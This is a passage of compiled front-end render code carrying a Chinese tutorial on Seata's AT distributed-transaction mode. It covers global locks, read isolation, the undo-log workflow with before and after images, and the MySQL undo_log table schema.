"),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-004","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-004.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("如果 tx1 的二阶段全局回滚,则 tx1 需要重新获取该数据的本地锁,进行反向补偿的更新操作,实现分支的回滚。")]),t._v(" "),a("p",[t._v("此时,如果 tx2 仍在等待该数据的 "),a("strong",[t._v("全局锁")]),t._v(",同时持有本地锁,则 tx1 的分支回滚会失败。分支的回滚会一直重试,直到 tx2 的 "),a("strong",[t._v("全局锁")]),t._v(" 等锁超时,放弃 "),a("strong",[t._v("全局锁")]),t._v(" 并回滚本地事务释放本地锁,tx1 的分支回滚最终成功。")]),t._v(" "),a("p",[t._v("因为整个过程 "),a("strong",[t._v("全局锁")]),t._v(" 在 tx1 结束前一直是被 tx1 持有的,所以不会发生 "),a("strong",[t._v("脏写")]),t._v(" 的问题。")]),t._v(" "),a("h4",{attrs:{id:"读隔离"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#读隔离"}},[t._v("#")]),t._v(" 读隔离")]),t._v(" "),a("p",[t._v("在数据库本地事务隔离级别 "),a("strong",[t._v("读已提交(Read Committed)")]),t._v(" 或以上的基础上,Seata(AT 模式)的默认全局隔离级别是 "),a("strong",[t._v("读未提交(Read Uncommitted)")]),t._v(" 。")]),t._v(" "),a("p",[t._v("如果应用在特定场景下,必需要求全局的 "),a("strong",[t._v("读已提交")]),t._v(" ,目前 Seata 的方式是通过 SELECT FOR UPDATE 语句的代理。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-005","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-005.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("SELECT FOR UPDATE 语句的执行会申请 "),a("strong",[t._v("全局锁")]),t._v(" ,如果 "),a("strong",[t._v("全局锁")]),t._v(" 被其他事务持有,则释放本地锁(回滚 SELECT FOR UPDATE 语句的本地执行)并重试。这个过程中,查询是被 block 住的,直到 "),a("strong",[t._v("全局锁")]),t._v(" 拿到,即读取的相关数据是 "),a("strong",[t._v("已提交")]),t._v(" 的,才返回。")]),t._v(" "),a("p",[t._v("出于总体性能上的考虑,Seata 目前的方案并没有对所有 SELECT 语句都进行代理,仅针对 FOR UPDATE 的 SELECT 语句。")]),t._v(" "),a("h4",{attrs:{id:"工作机制"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#工作机制"}},[t._v("#")]),t._v(" 工作机制")]),t._v(" "),a("p",[t._v("以一个示例来说明整个 AT 分支的工作过程。")]),t._v(" "),a("p",[t._v("业务表:"),a("code",[t._v("product")])]),t._v(" "),a("table",[a("thead",[a("tr",[a("th",[t._v("Field")]),t._v(" "),a("th",[t._v("Type")]),t._v(" "),a("th",[t._v("Key")])])]),t._v(" "),a("tbody",[a("tr",[a("td",[t._v("id")]),t._v(" "),a("td",[t._v("bigint(20)")]),t._v(" "),a("td",[t._v("PRI")])]),t._v(" "),a("tr",[a("td",[t._v("name")]),t._v(" "),a("td",[t._v("varchar(100)")]),t._v(" "),a("td")]),t._v(" "),a("tr",[a("td",[t._v("since")]),t._v(" "),a("td",[t._v("varchar(100)")]),t._v(" "),a("td")])])]),t._v(" "),a("p",[t._v("AT 分支事务的业务逻辑:")]),t._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("update")]),t._v(" product "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("set")]),t._v(" name "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v("'GTS'")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("where")]),t._v(" name "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v("'TXC'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[t._v("1")]),a("br")])]),a("p",[a("strong",[t._v("一阶段")])]),t._v(" "),a("p",[t._v("过程:")]),t._v(" "),a("ol",[a("li",[t._v("解析 SQL:得到 SQL 的类型(UPDATE),表(product),条件(where name = 'TXC')等相关的信息。")]),t._v(" "),a("li",[t._v("查询前镜像:根据解析得到的条件信息,生成查询语句,定位数据。")])]),t._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("select")]),t._v(" id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" since "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("from")]),t._v(" product "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("where")]),t._v(" name "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v("'TXC'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[t._v("1")]),a("br")])]),a("p",[t._v("得到前镜像:")]),t._v(" "),a("table",[a("thead",[a("tr",[a("th",[t._v("id")]),t._v(" "),a("th",[t._v("name")]),t._v(" "),a("th",[t._v("since")])])]),t._v(" "),a("tbody",[a("tr",[a("td",[t._v("1")]),t._v(" "),a("td",[t._v("TXC")]),t._v(" "),a("td",[t._v("2014")])])])]),t._v(" "),a("ol",[a("li",[t._v("执行业务 SQL:更新这条记录的 name 为 'GTS'。")]),t._v(" "),a("li",[t._v("查询后镜像:根据前镜像的结果,通过 "),a("strong",[t._v("主键")]),t._v(" 定位数据。")])]),t._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("select")]),t._v(" id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" since "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("from")]),t._v(" product "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("where")]),t._v(" id "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[t._v("1")]),a("br")])]),a("p",[t._v("得到后镜像:")]),t._v(" "),a("table",[a("thead",[a("tr",[a("th",[t._v("id")]),t._v(" "),a("th",[t._v("name")]),t._v(" "),a("th",[t._v("since")])])]),t._v(" "),a("tbody",[a("tr",[a("td",[t._v("1")]),t._v(" "),a("td",[t._v("GTS")]),t._v(" "),a("td",[t._v("2014")])])])]),t._v(" "),a("ol",[a("li",[t._v("插入回滚日志:把前后镜像数据以及业务 SQL 相关的信息组成一条回滚日志记录,插入到 "),a("code",[t._v("UNDO_LOG")]),t._v(" 表中。")])]),t._v(" "),a("div",{staticClass:"language-json line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-json"}},[a("code",[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"branchId"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("641789253")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"undoItems"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"afterImage"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"rows"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"fields"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"id"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"type"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("4")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"value"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"type"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("12")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"value"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"GTS"')]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"since"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"type"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("12")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"value"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"2014"')]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),t._v("\n\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"tableName"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"product"')]),t._v("\n\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"beforeImage"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"rows"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"fields"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"id"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"type"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("4")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"value"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"type"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("12")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"value"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"TXC"')]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"since"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"type"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("12")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"value"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"2014"')]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),t._v("\n\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"tableName"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"product"')]),t._v("\n\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"sqlType"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"UPDATE"')]),t._v("\n\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"xid"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"xid:xxx"')]),t._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[t._v("1")]),a("br"),a("span",{staticClass:"line-number"},[t._v("2")]),a("br"),a("span",{staticClass:"line-number"},[t._v("3")]),a("br"),a("span",{staticClass:"line-number"},[t._v("4")]),a("br"),a("span",{staticClass:"line-number"},[t._v("5")]),a("br"),a("span",{staticClass:"line-number"},[t._v("6")]),a("br"),a("span",{staticClass:"line-number"},[t._v("7")]),a("br"),a("span",{staticClass:"line-number"},[t._v("8")]),a("br"),a("span",{staticClass:"line-number"},[t._v("9")]),a("br"),a("span",{staticClass:"line-number"},[t._v("10")]),a("br"),a("span",{staticClass:"line-number"},[t._v("11")]),a("br"),a("span",{staticClass:"line-number"},[t._v("12")]),a("br"),a("span",{staticClass:"line-number"},[t._v("13")]),a("br"),a("span",{staticClass:"line-number"},[t._v("14")]),a("br"),a("span",{staticClass:"line-number"},[t._v("15")]),a("br"),a("span",{staticClass:"line-number"},[t._v("16")]),a("br"),a("span",{staticClass:"line-number"},[t._v("17")]),a("br"),a("span",{staticClass:"line-number"},[t._v("18")]),a("br"),a("span",{staticClass:"line-number"},[t._v("19")]),a("br"),a("span",{staticClass:"line-number"},[t._v("20")]),a("br"),a("span",{staticClass:"line-number"},[t._v("21")]),a("br"),a("span",{staticClass:"line-number"},[t._v("22")]),a("br"),a("span",{staticClass:"line-number"},[t._v("23")]),a("br"),a("span",{staticClass:"line-number"},[t._v("24")]),a("br"),a("span",{staticClass:"line-number"},[t._v("25")]),a("br"),a("span",{staticClass:"line-number"},[t._v("26")]),a("br"),a("span",{staticClass:"line-number"},[t._v("27")]),a("br"),a("span",{staticClass:"line-number"},[t._v("28")]),a("br"),a("span",{staticClass:"line-number"},[t._v("29")]),a("br"),a("span",{staticClass:"line-number"},[t._v("30")]),a("br"),a("span",{staticClass:"line-number"},[t._v("31")]),a("br"),a("span",{staticClass:"line-number"},[t._v("32")]),a("br"),a("span",{staticClass:"line-number"},[t._v("33")]),a("br"),a("span",{staticClass:"line-number"},[t._v("34")]),a("br"),a("span",{staticClass:"line-number"},[t._v("35")]),a("br"),a("span",{staticClass:"line-number"},[t._v("36")]),a("br"),a("span",{staticClass:"line-number"},[t._v("37")]),a("br"),a("span",{staticClass:"line-number"},[t._v("38")]),a("br"),a("span",{staticClass:"line-number"},[t._v("39")]),a("br"),a("span",{staticClass:"line-number"},[t._v("40")]),a("br"),a("span",{staticClass:"line-number"},[t._v("41")]),a("br"),a("span",{staticClass:"line-number"},[t._v("42")]),a("br"),a("span",{staticClass:"line-number"},[t._v("43")]),a("br")])]),a("ol",[a("li",[t._v("提交前,向 TC 注册分支:申请 "),a("code",[t._v("product")]),t._v(" 表中,主键值等于 1 的记录的 "),a("strong",[t._v("全局锁")]),t._v(" 。")]),t._v(" "),a("li",[t._v("本地事务提交:业务数据的更新和前面步骤中生成的 UNDO LOG 一并提交。")]),t._v(" "),a("li",[t._v("将本地事务提交的结果上报给 TC。")])]),t._v(" "),a("p",[a("strong",[t._v("二阶段-回滚")])]),t._v(" "),a("ol",[a("li",[t._v("收到 TC 的分支回滚请求,开启一个本地事务,执行如下操作。")]),t._v(" "),a("li",[t._v("通过 XID 和 Branch ID 查找到相应的 UNDO LOG 记录。")]),t._v(" "),a("li",[t._v("数据校验:拿 UNDO LOG 中的后镜与当前数据进行比较,如果有不同,说明数据被当前全局事务之外的动作做了修改。这种情况,需要根据配置策略来做处理,详细的说明在另外的文档中介绍。")]),t._v(" "),a("li",[t._v("根据 UNDO LOG 中的前镜像和业务 SQL 的相关信息生成并执行回滚的语句:")])]),t._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("update")]),t._v(" product "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("set")]),t._v(" name "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v("'TXC'")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("where")]),t._v(" id "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[t._v("1")]),a("br")])]),a("ol",[a("li",[t._v("提交本地事务。并把本地事务的执行结果(即分支事务回滚的结果)上报给 TC。")])]),t._v(" "),a("p",[a("strong",[t._v("二阶段-提交")])]),t._v(" "),a("ol",[a("li",[t._v("收到 TC 的分支提交请求,把请求放入一个异步任务的队列中,马上返回提交成功的结果给 TC。")]),t._v(" "),a("li",[t._v("异步任务阶段的分支提交请求将异步和批量地删除相应 UNDO LOG 记录。")])]),t._v(" "),a("h4",{attrs:{id:"附录"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#附录"}},[t._v("#")]),t._v(" 附录")]),t._v(" "),a("p",[a("strong",[t._v("回滚日志表")])]),t._v(" "),a("p",[t._v("UNDO_LOG Table:不同数据库在类型上会略有差别。")]),t._v(" "),a("p",[t._v("以 MySQL 为例:")]),t._v(" "),a("table",[a("thead",[a("tr",[a("th",[t._v("Field")]),t._v(" "),a("th",[t._v("Type")])])]),t._v(" "),a("tbody",[a("tr",[a("td",[t._v("branch_id")]),t._v(" "),a("td",[t._v("bigint PK")])]),t._v(" "),a("tr",[a("td",[t._v("xid")]),t._v(" "),a("td",[t._v("varchar(100)")])]),t._v(" "),a("tr",[a("td",[t._v("context")]),t._v(" "),a("td",[t._v("varchar(128)")])]),t._v(" "),a("tr",[a("td",[t._v("rollback_info")]),t._v(" "),a("td",[t._v("longblob")])]),t._v(" "),a("tr",[a("td",[t._v("log_status")]),t._v(" "),a("td",[t._v("tinyint")])]),t._v(" "),a("tr",[a("td",[t._v("log_created")]),t._v(" "),a("td",[t._v("datetime")])]),t._v(" "),a("tr",[a("td",[t._v("log_modified")]),t._v(" "),a("td",[t._v("datetime")])])])]),t._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[t._v("-- 注意此处0.7.0+ 增加字段 context")]),t._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("CREATE")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("TABLE")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("undo_log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("bigint")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("20")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("AUTO_INCREMENT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("bigint")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("20")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("varchar")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("100")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("context"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("varchar")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("rollback_info"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token 